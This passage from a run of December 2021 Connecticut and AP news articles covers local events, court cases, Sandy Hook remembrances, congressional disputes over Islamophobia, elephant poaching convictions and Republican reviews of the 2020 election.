Exchange Commission filing in early December, Altus Power projected revenue of $74 million this year from solar arrays nationally that produce 410 megawatts of power. The company had a slight loss in the first six months of this year. Altus Power predicts it will have 1.7 gigawatts of solar capacity by 2024 the equivalent of providing power to every house in Connecticut and roughly one of every two apartments. In September, Norell said the Northeast represents an under-utilized market for development of solar despite limited effectiveness during winter when days grow short. A solar array that produces 100 units of electricity in Massachusetts may produce 150 or 160 units of electricity in Arizona, Norell said in September. But power prices in Massachusetts are 200 percent higher than they are in Arizona so even though theres less energy made in Massachusetts, the value of the solar system is actually higher up north than it would be down south. Alex.Soule@scni.com; 203-842-2545; @casoulman Six Broadway stars from productions such as The Phantom of the Opera, Wicked, Hamilton and Disneys Frozen, will perform in a Christmas concert alongside members of the Noroton Presbyterian Church Chamber Choir and Orchestra in Darien on Sunday. Dan Micciche, a 2003 graduate from Darien High School and the current musical director for Wicked on Broadway, will act as musical director alongside Noroton Presbyterians Director of Music and Fine Arts, Dwayne Condon. This is Micciche's second year participating in this Christmas concert. Micciche is one of many Broadway alums to come from Connecticut, among such names as Anika Noni Rose, Roger Bart and Kelli O'Hara. We could all use some joy this Christmas season and this concert will certainly do just that. The Broadway community is eager to perform, and audiences are hungry for it, Micciche said in a news release. Performers will include Meghan Picerno, current Christine Daae in Phantom of the Opera; Eryn LeCroy current Christine Daae Alternate in Phantom of the Opera; Tamar Greene, current George Washington in Hamilton; and John Riddle, the original Hans in Disneys Frozen and the current Raoul in Phantom of the Opera. Noroton Presbyterian Church is excited for one of our own to return home again to share his gifts with our community, Senior Pastor Greg Doll said in the same news release. We are delighted to be able to extend this musical offering to the Darien community (and beyond) in a year when we could all use some hope and joy. We hope that this concert feeds your soul and brings you some Christmas cheer. This concert will take place at 6 p.m. Sunday, Dec. 19, at Noroton Presbyterian Church, 2011 Post Road, Darien. The concert is free and open to the public and will also be live streamed on the church website. MIDDLETOWN The Holiday on Main Streets The Magic of Middletown events continue this Saturday night with a parade and a pub crawl downtown. The festivities, hosted by the Middlesex County Chamber of Commerce, begin with the Dashing Through Downtown Holiday Vehicle Parade. All participating drivers are asked to register their vehicles and line them up at Middletown High School, 200 La Rosa Lane, an announcement said. The vehicles will dash off at 6:30 p.m. and will cruise through downtown ... led by Santa, to view fabulous decorations on display, according to the press rlease.. Those taking part can also enjoy a little friendly competition for the most festive vehicles, the announcememnt said. Mayor Ben Florsheim, Jingles the Gnome, and Santa will select their favorite vehicles. Judging begins at 6:15. Registration will run from 4 to 6 p.m. with a donation of an unwrapped toy to the Middletown Police Department toy drive and a $5 fee per vehicle. Spectators can view the parade as it travels down Main Street. These two events will surely spread some holiday magic! The Parade offers family fun for all and the Pub Crawl will provide some adult fun for elves that are 21 and older, the announcement said. For the first ever Magic of Middletown Pub Crawl, participamts will board a double-decker bus that will be in the parade and make stops at Chamber of Commerce members bars and restaurants. Stops include Eli Cannons Tap Room, Stella DOro Restaurant, Juicy Cajun Seafood, and Sicily Coal Fired Pizza. There will be giveaways, drink specials, trivia, Christmas karaoke and more, The fee is $25 per person. Participants must be 21 or older. To register. visit holidayonmain.com. Both events will benefit Holiday on Main, along with the Middletown youth programs, including the Hal Kaplan Middletown mentor program, Middletown recreation programs and the Middletown summer youth employment program. Event chairman is Al Santostefano, who has played Santa for many years at the Holiday on Main festivities. HAMDEN Marvin Lender, who, along with his family and late brother, Murray, were among the significant donors to the Irelands Great Hunger Museum at Quinnipiac University, is calling on state Attorney General William Tong to intervene in the institutions future. Lender expressed his profound sadness and disappointment at the museums closure in a letter to Tong, was released Wednesday by the Committee to Save Irelands Great Hunger Museum, a nonprofit organization that has lobbied for the institution to reopen since it was shuttered. Quinnipiac University announced the museum would be closed permanently in August; it originally shut its doors at the start of the coronavirus pandemic. School officials at the time said the institution had covered only one-quarter of its operating expenses through revenue and fundraising over the prior three years. Tong opened an inquiry into the matter in August. That effort remained ongoing as of Wednesday, according to Elizabeth Benton, director of communications for Tongs office. In the letter, Lender said the story of the Irish Potato Famine had resonated with him and his brother, a Quinnipiac graduate, as we could easily identify with its importance based upon our own Jewish heritage. The resulting gem of a museum, he said, tells people of all races and ethnicities the horrors of social injustice, bigotry, governmental indifference, and outright oppression. When we gave our initial financial support, we knew that the University would use the funds as our family had requested: to collect art and artifacts to tell this to future generations and house these under one roof. They have been incredibly successful in doing so, Lender said. We also knew that we could expect Quinnipiac to be a safe harbor for the collection that had grown and be responsible stewards for our donations, as well as those from other contributors. Our intent as donors was that the collection, wherever it was housed, was to be an educational tool for Quinnipiac, Hamden, Greater New Haven, and the Northeast corridor, as well as a chronicle of the Irish people of that time, many of whom had emigrated to the United States, he said. I hope that with your encouragement, Quinnipiac will once again reconsider the wisdom of its actions. In response, John Morgan, associate vice president for public relations at Quinnipiac, said Wednesday that the school appreciates the Lender familys support of the Lender Family Special Collection Room in the Arnold Bernhard Library, which remains open and active on the universitys Mount Carmel Campus, and noted that Irelands Great Hunger Institute also remains open (at the school) and researches Irish history and culture, including the causes of the Irish Famine. Alongside the universitys commitment to these two entities, QU is intent on finding a solution for display of the Irelands Great Hunger Museum collection, and we continue to have productive conversations with potential partners, elected officials and community groups about ways we can ensure the collection remains publicly accessible and advances the museums original mission, said Morgan. The Committee to Save Irelands Great Hunger Museum, in an email, expressed its gratitude for Lenders letter. (We are) grateful that Marvin Lender joins a growing chorus of concerned citizens who care deeply about the museum; his voice will only strengthen the resolve of others who believe the museum should stay just where it is: Hamden, CT, said officials with the group. We continue our efforts to revive the museum in its current location and hope to work in partnership with the university to do so. Irelands Great Hunger Museum opened in 2012 under the stewardship of John Lahey, then the university president, who was succeeded by Judy Olian in 2018. The museum, and the study of the Irish famine, drew strong financial support from Lender and his now-late brother, who are part of the multi-generation philanthropic family that ran the H. Lender & Sons bagel business. As the university first considered the institutions future in 2019, Lahey said he believed Quinnipiac could raise funds to keep the museum afloat. He said its annual budget was quite small, compared to the universitys hundreds of thousands versus hundreds of millions. william.lambert@hearstmediact.com NEWTOWN Neighbors came together in church services Tuesday with tears of remembrance to mark the ninth year since the Sandy Hook shootings. Nine years ago, evil invaded the peaceful lives of 20 young children who I call angels and six adults I like to think of as their guardian angels, and rivers of tears are still flowing, said Bridgeport Diocese Bishop Frank Caggiano at an annual memorial Mass Tuesday night. But the darkness did not engulf Newtown because for the past nine years, you have chosen to walk in the light. Caggianos comments came during the homily at the annual Sandy Hook Remembrance Mass at St. Rose of Lima Church, where the names of the 20 first-graders and six educators killed in 2012 were read to the accompaniment of soft bells, as youths one by one brought white ornaments to place on a tree near the altar. At the annual Interfaith Service of Remembrance at Trinity Episcopal Church in the shadow of Newtowns iconic flag pole, neighbors gathered to hear prayers in multiple faith traditions. Nine years ago a horror came into the midst of this community a tragedy beyond anyones imagination, said the Rev. Matt Crebbin, senior minister at Newtown Congregational Church, during the opening of the interfaith service. We began on a journey that none of us would ever choose on our own. Like Caggianos message at St. Rose, Crebbin said Newtown was a model for a broken nation about how to walk through pain in unity. This is a journey of hope and transformation in a world filled with brokenness, Crebbin told the interfaith crowd at Trinity Episcopal Church. We come from different places and we make this journey in different ways, but it is the same journey for all of us. At the memorial Mass at St. Rose, Caggiano also commended Newtowns example of community unity. You walk in the light by your courage and your love and your mercy and your patience and your forgiveness, Caggiano said. So where do we go from here? The answer is we go together as brothers and sisters. Together we will always walk in the light. The evening services capped a solemn day of solidarity in Newtown, which broke with the tradition of conducting class in person on the anniversary, in order to protect kids and educators from being traumatized in the event someone made a school-based threat on the anniversary. Instead, school kids stayed at home and attended school remotely. As the town marked the day in private, public shows of support poured in from the White House, the governors mansion and Connecticuts congressional delegation. President Joe Biden was vice president on Dec. 14, 2012. Nine years ago today, the families in Newtown were hit especially hard. No matter how long its been, every one of those families relives the news that they got that day, Biden said in a video address that eulogized the lives lost while invoking hope that change was on the way. [A]s we got to know you - and I got to know so many of you personally I spoke to every one of your families and I found hope in your strength. Gov. Ned Lamont ordered flags across Connecticut to be lowered to half-staff. [I]n (the tragedys) aftermath, we witnessed an outpouring of love, humanity and kindness from all over the entire world, spreading a message of hope that we must proactively work to protect, Lamont said. Sen. Richard Blumenthal agreed. This day never gets easier not one day, not one year, not nine years later. The pain remains real. Our hearts still ache for the 26 beautiful lives lost at Sandy Hook, Blumenthal said. I will forever be in awe of the Sandy Hook families and communitys courage and resilience. U.S. Rep. Jahana Hayes, D-5, and a former National Teacher of the Year from Waterbury, was in Newtown on Tuesday night at the memorial Mass. Today, we remember the 20 innocent children and six selfless educators whose lives were taken during the Sandy Hook Elementary School shooting, Hayes said earlier in a prepared statement. Please take the day to honor, remember and reflect tomorrow, the work continues to ensure schools are safe for kids and communities. rryser@newstimes.com 203-731-3342 TRENTON, N.J. (AP) A brutal attack on inmates by guards at New Jersey's only women's prison has resulted in misconduct and other charges for the prison's top official, the state's acting attorney general said Wednesday. Four other corrections officers were also charged, bringing the total number of officials facing criminal charges to 15. We are holding accountable everyone who was involved in Januarys brutal assaults, from the line officers working the cell block to the highest-ranking prison official on duty that night," acting Attorney General Andrew Bruck said in a statement. It's the latest development in a nearly yearlong investigation that authorities say still wasn't over as of Wednesday. The probe has had wide-ranging fallout, including the departure of the state's corrections commissioner and Gov. Phil Murphy's declaration that he will close the Edna Mahan Correction Facility for Women in Clinton, New Jersey, where the alleged attack unfolded. Sean St. Paul, who was serving as an administrator at the Edna Mahan Correctional Facility, was charged by complaint with official misconduct, conspiracy and tampering with public records, Bruck said. St. Paul is no longer employed at the prison but was in charge when guards forcibly removed women from their cells so-called forced extractions in January, according to authorities. He did not make required notifications about injuries that victims sustained, according to Bruck, while also sending an email to superiors that reported false information and concealing the force that was used against some victims. He also falsely said that inmates apologized to him, Bruck said. A message seeking comment on St. Paul's behalf was left with his attorney. Also charged on Wednesday were Maj. Ryan Valentin, Senior Correctional Police Officer Desiree Lewis, Senior Correctional Police Officer Brandon Burgos and Senior Correctional Police Officer Marika Sprow. Each faces a charge of tampering with records. Valentin faces misconduct and conspiracy charges as well. Lewis was charged with aggravated assault while Burgos and Sprow don't face additional charges. Burgos' attorney, Anthony Iacullo, says his client maintains his innocence. Officer Burgos performed his duties on that day and every day, to the best of his ability. We are confident that when this matter is addressed in a court of law, Officer Burgos will be exonerated," Iacullo said in an email. Valentin's attorney, Timothy Donohue, said his client will fight the charges. It is truly unfortunate that the Attorney Generals office has chosen to file a complaint against my client based upon innuendo and unfounded speculation. Major Valentin will vigorously contest this charge and we will be vindicated once all the facts are heard," Donohue said. Lewis' attorney, Michael Rubas, said in an email that his client will plead not guilty. "The year-long delay in the filing of these charges speaks volumes about the strength of the States case," Rubas said. Sprow's attorney Matthew Troiano said his client will fight the charges against her. A picture of what happened in January at the prison has emerged over the year, based on accounts from law enforcement, videos released by authorities showing the extractions and a report commissioned by the governor. One video clip, for example, showed five prison guards wearing helmets, chest, back and shoulder armor filing into the cell of a woman at the prison and striking and punching the inmate in the head. Stop punching me in my face! the woman calls out. The governor's report said in June that that guards used excessive force on inmates and filed false reports after removing inmates from their cells. The staff also failed to bar male guards from viewing female inmates during strip searches, in violation of policy. It also shed light on what led up to the attack and how it unfolded, saying that in the days before the attack, there was a coordinated effort by some inmates to splash prison guards. That's a term referring to throwing liquids, including urine and feces, at them. The report notes that the head of the prison guards labor union said officers had been upset, and things were at a boiling point. Attorneys for some of the other guards have also said their clients will fight the charges. The incident led Murphy, a Democrat reelected this year, to declare he will close the prison, although a timeline for that is unclear. It also resulted in lawmakers calling for the ouster of Corrections Commissioner Marcus Hicks, who resigned in June. The U.S. Justice Department also entered into a consent agreement with the state stemming from other longstanding troubles at the prison, namely that officials there did not protect inmates' constitutional rights by failing to protect them from sexual abuse. The August agreement resulted in a federal monitor at the prison. The state's charges stemming from January don't include any sexual assault claims. LEXINGTON, Ky. (AP) A Kentucky coroner has concluded that alcohol toxicity caused the death two months ago of a University of Kentucky fraternity member, classifying the death as an accidental overdose, authorities said. Thomas Lofton Hazelwood, 18, died at the University of Kentucky Hospital after he was found unresponsive with vomit on his body by friends at the FarmHouse Fraternity house on Oct. 18. The freshman was a new member of the fraternity and his friends reported he was highly intoxicated, according to the Lexington Herald-Leader. BRIDGEPORT A Milford lawyer has filed a federal class-action lawsuit against Pratt & Whitney and several other aerospace engineering firms alleging the companies are conspiring to prevent employee poaching and therefore restricting employees potential wage growth. The lawsuit, filed in U.S. District Court Wednesday morning, on behalf of David Granata, of Rhode Island, claims the companies conspired to restrain competition within the industrys labor force. A similar lawsuit, filed by Stamford law firm Silver Golub & Teitell, also makes the same allegations against the companies on behalf of a client. The Milford suit states the alleged conspiracy dates back to at least 2011 through at least 2019 when senior executives and managers at Defendants entered into a conspiracy not to solicit, recruit, hire without prior approval, or otherwise compete for employees, including engineers and other skilled employees. In addition to Pratt & Whitney, other companies named in the lawsuit include QuEST Global Services-NA, Inc., of East Hartford; Belcan Engineering Group, LLC and Belcan Engineering Group Limited Partnership, both of East Hartford; Cyient Inc., the East Hartford subsidiary of a company based in Hyderabad, India; Parametric Solutions Inc., of Florida; and Agilis Engineering, Inc., of Florida. QuEST intends to vigorously defend against these allegations, said QuEST spokeswoman Yumi Clevenger-Lee. Pratt & Whitney, Belcan and Cyient, and the Florida companies did not return emails and calls for comment. Defendants agreed to restrict competition for their employees services with the purpose and effect of fixing, suppressing, and stabilizing wages, salaries, and benefits and restraining competition in the market for their employees services, the suit states. The conspiracy disrupted the efficient allocation of labor that would have resulted if Defendants had competed for, rather than colluded against, their current and prospective employees. The defendants action was an ideal tool to suppress their employees compensation that was simple to implement and easy to enforce, the lawsuit says. The defendants in this case knowingly, intentionally, and cooperatively engaged in a contract, conspiracy, in unreasonable restraint of trade, said Attorney David Slossberg, who brought the lawsuit. Granata worked for QuEST Global Services-NA from 2013 to March 2018, primarily on projects for Pratt &Whitney, the suit states. As a result of defendants no-poach agreement, Mr. Granata earned less than he would have absent the alleged agreement, the lawsuit states. Further, because of Defendants unlawful agreement, he was also denied access to better, higher-paying job opportunities and his ability to change employment was restricted. The lawsuits come nearly one week after the U.S. Department of Justice unsealed a criminal complaint against a former manager for Pratt &Whitney, Glastonbury resident Mahesh Patel, alleging he participated in a long-running conspiracy with managers and executives of several outsource engineering suppliers... to restrict the hiring and recruiting of engineers and other skilled laborers among their respective companies, according to a press release issued by the department. Patel appeared remotely before a federal court in Hartford on Dec. 7 on a charge of conspiracy in restraint of trade. He was released on conditions including travel restrictions and a $100,000 appearance bond, the justice department said, adding that the charge against Patel is the first in this ongoing federal antitrust investigation. WASHINGTON (AP) When Republican Rep. Lauren Boebert cracked a racist, Islamophobic joke about Democratic Rep. Ilhan Omar, it wasnt the first time she mocked the Muslim congresswoman. Boebert had derided Omar during a House floor debate last month, taunting the Somali-born, Muslim-American immigrant as a member of the jihad squad of liberal lawmakers. The House on Tuesday took the first formal step at a response, with a 219-212 party-line vote to approve legislation sponsored by Omar that would establish a new special envoy position at the State Department to monitor and combat Islamophobia worldwide. In introducing the debate, Rep. James McGovern, the Democratic chairman of the House Rules Committee, cited surveys showing an uptick of anti-Muslim sentiment nationwide and around the world and the need for an energetic U.S. response. McGovern said the House had arrived at this moment because a colleague has told a completely fabricated story again and again that implies a Muslim colleague is a terrorist just because they are Muslim." Those actions are a stain on this entire institution, he said, without naming Boebert, the freshman lawmaker from Colorado. This House is better than the worst actions of a few here. The bill is unlikely to advance in the Senate. But the ordeal provides yet another window onto the state of affairs in the Republican Party left behind by Donald Trump, almost a year after his supporters stormed the Capitol trying to overturn Joe Biden's election. Republican leaders are unwilling or unable to publicly admonish their own, particularly those allied with Trump, even when their everyday rhetoric borders on racist hate speech. Speaker Nancy Pelosi told reporters Tuesday's vote will not be the last word from the Democratic leaders on Boeberts behavior. But they have repeatedly said its up to the Republican leadership to stand up to their most outspoken members who cross a line. The Democrats so far have refrained from more punitive actions of censuring Boebert or removing her committee assignments, as they have for other lawmakers -- and as some Democrats wanted. Rep. Kevin McCarthy, the minority leader, has not signaled any further steps. McCarthy, R-Calif., has said he helped engineer a phone call between Boebert and Omar days after the Republican's remarks came under scrutiny. And before the call, he said Boebert had apologized. But her apology to anyone in the Muslim community I offended fell short for some lawmakers. Rather than smoothing tensions, the call between Boebert and Omar ended abruptly. Boebert refused Omar's request for a public apology, and said Omar hung up on her. Omar said in a statement that she ended an unproductive call. Boebert set off the firestorm around Thanksgiving after a video posted to Facebook showed her telling constituents about an interaction with Omar at a House elevator. As she stepped on the elevator, Boebert said she spotted Omar. Well, she doesnt have a backpack, Boebert recalled saying, an apparent reference to a suicide bomb. "We should be fine. Omar, one of just a few Muslims in Congress and the only lawmaker who regularly wears a religious headscarf, said the scene never happened. It wasnt the first time Boebert, the conservative newcomer, has tested the rules of civility. Last month, Boebert derided Omar as a member of the jihad squad during the House debate to censure another Republican, Rep. Paul Gosar, R-Ariz. He was being reprimanded for having tweeted an animated video depicting the slaying of another member of the so-called squad of liberal lawmakers, Rep. Alexandria Ocasio-Cortez, D-N.Y. Gosar, shortly after the censure vote, reposted the offensive video to his Twitter account. In many ways, the Republican lawmakers are taking a page from Trump's playbook. On the campaign trail and in the White House, Trump routinely mocked minority groups, derided certain African countries with a vulgarity, and slapped a ban on arrivals from predominantly Muslim countries as one of his early executive actions as president. Omar, who arrived in the U.S. as a child and now serves on the House Foreign Affairs Committee, spoke during Tuesday's debate about the bill, saying that as a country founded on religious liberty, the U.S. must fight against religious persecution of Muslims an others worldwide. "We must lead the global effort," she said. As Americans we should stand united against all forms of bigotry. Republican opponents said the bill was too quickly produced, failed to fully define Islamophobia and shouldn't provide special protections for Muslims separate from other religious groups. One Republican, Rep. Scott Perry of Pennsylvania, brought up past statements by Omar that he said were anti-Semitic and supportive of terrorism. Shortly after taking office in 2019, Omar, who has been critical of Israel, tweeted that some lawmakers are only supportive of the Jewish state for the fundraising money a comment widely seen as a slur. At the time, she unequivocally apologized. Perry also mentioned Omar's remarks about the Sept. 11, 2001, attacks that were seen as dismissive but have also been circulated out of context. Democrats moved to strike Perry's comments from the record as violating House rules. Boebert did not speak during the debate. Rep. Jan Schakowsky, D-Ill., co-sponsor of the anti-Islamophobia bill, said of Omar: She has been subjected to relentless attacks and horrifying threats not just from her fellow Americans, but even within the halls of Congress. And enough is enough. IDI, Indonesia (AP) An Indonesian court on Wednesday handed down prison sentences for five men accused of being involved in killing a Sumatran elephant and illegally trading its ivory, as local conservation authorities look to protect the endangered species. The court in Aceh convicted the men of violating Indonesian laws protecting natural resources and their ecosystems. Jainal, the poacher who killed the elephant and cut off its head, along with Edy Murdani, a man accused of being the first point of sale for the ivory, were both sentenced to three and a half years in prison with a fine of 50 millions rupiah ($3,487). The other three perpetrators Rinaldi Antonius, Soni and Jeffri Zulkarnaen were identified as the ivory traders, and face three years in prison and a fine of 100 millions rupiah ($6,973). The elephant was found dead on July 11 at a palm plantation in East Aceh, police said. Local police worked with the Aceh Natural Resource Conservation Center to investigate the death. The necropsy results said that the male elephant died after being poisoned. East Aceh Police arrested the five suspects in August, beginning with the elephant poacher, Jainal, who carries the aliases of Zainon and Dekgam. Police arrested Jainal on Aug. 10 who admitted he had tried to kill elephants five times since 2017 by poisoning them, but had succeeded only twice, including the recent death. On July 19, he and a partner poisoned mangos near a herd of wild elephants and executed a weakened elephant two hours later with an axe, he told police. The partner is still on the run. The poacher said he sold the ivory to trader Edy Murdani in East Aceh, who sold it to four buyers in Aceh and West Java provinces. The last buyer, Rinaldi Antonius, a craftsman in West Java, made the ivory into a dagger and cigarette pipe. In the last seven years, 46 dead elephants have been found in Aceh, Indonesias westernmost province. Many were attributed to illegal hunting and conflicts with humans. Indonesian forestry and environment ministrys data showed the Sumatran elephant population has shrunk from 1,300 in 2014 to 693, down nearly 50% in the past seven years. Agus Arianto, chief of Aceh Natural Resource Conservation Center, said that the trial showed the commitment of law enforcement officers to end elephant poaching. We have to do prevention so the same thing would not happen in the future, Arianto said. Sumatran elephants are a subspecies of the Asian elephant, one of two species of the large mammal in the world. BATON ROUGE, La. (AP) Louisiana has two new top federal prosecutors after each took the oath of office. U.S. District Judge Brian Jackson on Monday swore in veteran prosecutor Ronald Gathe Jr. as U.S. Attorney for the Baton Rouge-based Middle District of Louisiana. Im really looking forward to this part of this chapter of my life and look forward to serving the people of Louisiana, Gathe said, The Advocate reported. And Brandon Bonaparte Brown was officially sworn in last week at the federal courthouse in Lafayette as the U.S. Attorney for the Western District of Louisiana, which has offices in Shreveport, Lafayette, Alexandria, Monroe and Lake Charles. I am excited to serve alongside a team of exceptional public servants at the U.S. Attorneys Office and with the dedicated law enforcement professionals throughout this district. This office will continue to partner with law enforcement and community partners to pursue equal justice under the law," Brown said. Gathe is a graduate of Xavier University and Southern University Law Center and is the first Black person nominated by a president for the position in the Middle District, created in 1972. Jackson and Stan Lemelle are Black men who served as U.S. Attorney in the Middle District without having been appointed by a president. Gathe succeeds Brandon Fremin, who had been the Trump administrations appointee until he resigned at the end of February. Ellison Travis had been serving as the district's interim U.S. Attorney. Since January, Gathe had been Chief of Trials for the 18th Judicial District Attorneys Office in Iberville, West Baton Rouge and Pointe Coupee parishes. He also previously served as an assistant district attorney in the 19th Judicial District Attorneys Office in Baton Rouge. Brown replaced David Joseph as U.S. Attorney. Joseph resigned Aug. 3, 2020, after being appointed to a judicial post in the Western District. Alexander C. Van Hook had been serving as acting U.S. Attorney in the interim. In November 2012, Brown joined the U.S. Attorney's Office in Shreveport, serving as an assistant U.S. Attorney. In March 2018, he left to accept a position in private practice and then rejoined the Shreveport Criminal Division in October 2018. He also served as an assistant district attorney in Monroe. A graduate of Louisiana Tech University, Brown received his law degree from Southern University Law Center in 2007. FORT WORTH, Texas (AP) A grand jury in Texas has returned a capital murder indictment against a man authorities have said confessed to killing five people, including three whose dismembered bodies were found in a burning dumpster earlier this year. Jason Thornburg, 41, was indicted Monday on a charge of capital murder in the deaths of David Lueras, 42, Lauren Phillips, 34, and Maricruz Mathis, 33, the Tarrant County district attorney's office said. Their bodies were discovered in a burning dumpster in Fort Worth in September. Thornburg remains jailed on $1 million bond. Jail records do no list an attorney for him. Surveillance footage of a vehicle at the site of the dumpster led authorities to Thornburg. During an interview with police, he confessed to killing the three people found in the dumpster as well as his roommate and girlfriend, according to his arrest warrant. He told officers that he had in-depth knowledge of the Bible and believed he was being called to commit sacrifices, according to the arrest warrant. Police have said that when they identified Thornburg as a suspect in the slayings of the three found in the dumpster, they were already familiar with him from a suspicious death investigation earlier in the year. According to the arrest warrant, Thornburg's roommate had been killed in a suspicious house fire in May. During the police interview in September, Thornburg told officers he had slit his roommates throat, then uncapped a natural gas line and lit a candle. At the time, the medical examiner had not been able to determine his roommates cause of death. When police asked Thornburg about any other sacrifices, he said he also sacrificed his girlfriend in Arizona, according to the arrest warrant. Tanya Begay, an American Indian woman from Gallup, New Mexico, has been missing since taking a trip with Thornburg in 2017. When Begay last spoke to her mother, she told her she planned to travel from the Arizona town of Leupp back to her familys home near Gallup, New Mexico a drive through the Navajo Nation that shouldve taken a few hours. Gallup police said Navajo Nation police were the main investigating agency in Begay's case and referred questions to them. Navajo Nation police did not immediately return a message seeking updates on Tuesday. NEW HAVEN You dont need to worry about how much it might cost to park at Tweed New Haven Regional Airport while visiting relatives in Florida on the new Avelo Airlines service to five Florida destinations. In fact, you dont even need to know how to get to Tweed. You can just take the bus and it will only take you about 20 minutes to get to the airport without adding any traffic through residential neighborhoods along the way, Mayor Justin Elicker and Tweed New Haven Airport Authority Executive Director Sean Scanlon said and demonstrated Wednesday. It will only cost you $1.75 each way. Were really excited to encourage people to take the bus while we grow our flights, said Scanlon at a press conference at the airport after he, Elicker, Dixwell Alder Jeanette Morrison, D-22, and others road the CT Transit 206 bus from Chapel and Orange streets, a block off the New Haven Green. The press conference was timed to immediately precede Thursdays start of service from Tweed to Palm Beach International Airport, the fifth of six Florida destinations Avelo so far has announced from Tweed. Beginning Thursday, daily flights to Palm Beach International Airport will join a roster of Avelo Tweed destinations that also includes Orlando, Fort Lauderdale, Fort Myers and Tampa. In addition, Avelo, the first airline to offer nonstop flights between Tweed and Florida, will increase the frequency of flights to Fort Myers and Tampa over the peak holiday season, the airline has announced. Service to Sarasota-Bradenton is scheduled to begin Jan. 13. Both Elicker and Scanlon said they have yet to field any complaints about traffic in the neighborhoods surrounding Tweed a concern voiced by some neighborsat meetings. But urging people to take the bus is the right thing to do, they said. Elicker said he sees environmental and equity issues as reasons why it might be preferable for people to take the bus to the airport. Todays about promoting bus service to Tweed and theres a lot of reasons to do so, Elicker said. Joining them for the occasion were Lisa Rivers, transit manager for the state Department of Transportation, and Barry Diggs, CT Transit administrator of planning and scheduling. Were just here to try and support our partners in the transit industry and our partners at Tweed New Haven Airport, said Rivers. The 206 bus, which picks up riders at Chapel and State streets as well as Chapel and Orange, makes 32 trips per day to the airport. Until demand is built, passengers arriving at Tweed should call CT Transit at 203-624-0151 to make sure the bus stops at the airport to pick them up, said Diggs. Requests for pickups have ballooned since the Avelo service began at Tweed, Diggs said. Morrison said she just flew Avelo out of Tweed for the first time a couple of weeks ago to get to Orlando to go on a cruise to the Dominican Republic and the Bahamas to celebrate the 60th birthday of her cousin, Charles. I didnt know you could take the bus at the time, Morrison said as she rode the bus Wednesday. She had taken an Uber. It was wonderful, she said of the experience of flying out of Tweed. One of the things that made me so happy was to go there and see so many people from New Haven working there. The flight cost Morrison $168 round-trip, she said. Avelo flights out of Tweed currently begin at $29 each way for Palm Beach. In November, 7,900 people flew Avelo to and from Tweed, compared to the airports all-time record of 13,487 passengers in May 1994, said Scanlon. Beginning Thursday, the Palm Beach flight, Flight XP345, will depart Tweed at 7 a.m., arriving at Palm Beach International at 10:10 a.m. The return flight, Flight XP346, will depart Palm Beach at 10:50 a.m. and arrive in New Haven at 1:40 p.m. Avelo also will increase the frequency of its flights between Tweed to Fort Myers from three days per week to daily from Dec. 16 through Jan. 4, 2022, the airline has said. mark.zaretsky@hearstmediact.com HARRISBURG, Pa. (AP) A Pennsylvania courtroom on Wednesday became the latest battleground over claims the 2020 presidential election was rigged, as Republicans around the country pressed ahead with efforts to investigate the voting despite a lack of evidence of widespread fraud. A five-judge panel in Harrisburg heard Democrats' arguments to block a subpoena sought by Senate Republicans, seeking information on voters and election systems. Democrats argue the subpoena is an abuse of power and serves no legitimate legislative purpose. A lawyer for Senate Republicans insisted lawmakers have a legitimate interest in getting the information to improve election law, regardless of the backdrop of former President Donald Trump trying to get allies in battleground states to turn up evidence of election fraud. The fact that theres noise floating around out there shouldnt concern the court, lawyer Matt Haverstick said. The election review in Pennsylvania and another in Wisconsin are part of the larger story, as GOP lawmakers elsewhere make their case for similar efforts in their states. They cite concerns raised by claims made by Trump and his allies, who have referenced various conspiracy theories to explain his loss last November to Democrat Joe Biden. Among the claims is that widespread voter fraud occurred, but an Associated Press review found fewer than 475 instances of potential voter fraud in the six states disputed by Trump a number that would have made no difference in the election. Republican leaders argue their probes are needed to restore public confidence in elections, but experts say its the reviews themselves that are undermining faith in U.S. elections. The intent of these reviews is to continue to create doubt, distrust and confusion around an election that has been canvassed, certified, audited, litigated and reviewed so they can keep the narrative going. So they can continue to raise money and raise their political profiles, said Matt Masterson, a former top election security official in the Trump administration. In Pennsylvania, Republicans led by Senate President Pro Tempore Jake Corman insist the undertaking has nothing to do with Trump or trying to overturn last years election. Rather, they say the point is to fix problems with the states elections. However, the 2020 election has been the focus of Republican-controlled committees in the Senate and House. There have been numerous hearings, hours of testimony, and proposed legislation. In an interview Tuesday, Trump praised the work of Republican lawmakers in Wisconsin and Pennsylvania and argued that many of the problems that arose in the election were due to pandemic-related changes made outside of the legislative process. They used COVID in order to cheat, as a way of cheating, Trump said. In Pennsylvania, Sen. Corman and a whole group of people are totally engaged because theyve now found that things were much different than they were told. The AP's review of Pennsylvania's 67 counties identified a total of 26 potential voter fraud cases so far, which represents just 0.03% of Bidens margin of victory in the state. Six people have been charged. To conduct their review, Pennsylvania Republicans have hired a small firm with little track record and no experience in elections. There was no bidding for the contract, and no public request for proposals. A similar situation unfolded in Arizona, where Senate Republicans seeking a review of the 2020 election hired an outside firm that was criticized for its lack of knowledge of election systems and processes. The Arizona review ended in September without offering proof to support Trumps claims of a stolen election. In Wisconsin this week, Republican Assembly Speaker Robin Vos said the investigation he ordered into the 2020 presidential election will spill into next year and cost more money. So far, the effort has cost taxpayers nearly $680,000. Former Wisconsin Supreme Court Justice Michael Gableman was tapped to lead the investigation and has sought subpoenas of the mayors of the states five largest cities and the states top elections official. Democrats and some Republicans in the state have criticized the investigation as a sham, given that some of those hired by Gableman worked in Trumps administration or have supported conspiracy theories about the 2020 election. Trump lost Wisconsin by nearly 21,000 votes, an outcome thats been upheld following recounts, multiple court rulings and a nonpartisan audit. Wisconsin election officials have so far identified 31 potential cases of voter fraud. In 26 of those cases, prosecutors declined to bring charges after conducting a review, according to the AP's findings. Earlier this week, Republican state Sen. Kathy Bernier, chair of the Senate elections committee and the former Chippewa County election clerk, called the review a charade designed to appease the GOPs conservative base and said questioning the integrity of elections will ultimately hurt turnout for Republicans. I understand there is frustration when you have a president saying there is massive voter fraud, Bernier said. We have a great system here and no one should falsely accuse election officials of cheating. The wave of demands for reviews of the election also includes reliably Republican states that Trump won in 2020. Last week, a panel of majority-GOP lawmakers in Utah approved an audit of the states election system. Unlike Arizona, the Utah effort will be conducted by nonpartisan legislative auditors and is not focused solely on 2020. Republican Lt. Gov. Deidre Henderson cautioned that efforts questioning the integrity of the states voting system are destructive and very concerning. From all of the things that I have seen, the endgame here is to fundamentally destroy the voting system we have here in the state of Utah, Henderson said in an interview. ___ Cassidy reported from Atlanta. Associated Press writers Scott Bauer in Madison, Wisconsin and Lindsay Whitehurst in Salt Lake City contributed to this report. ELKHART, Ind. (AP) Two northern Indiana police officers fatally shot a man early Wednesday during a confrontation in a 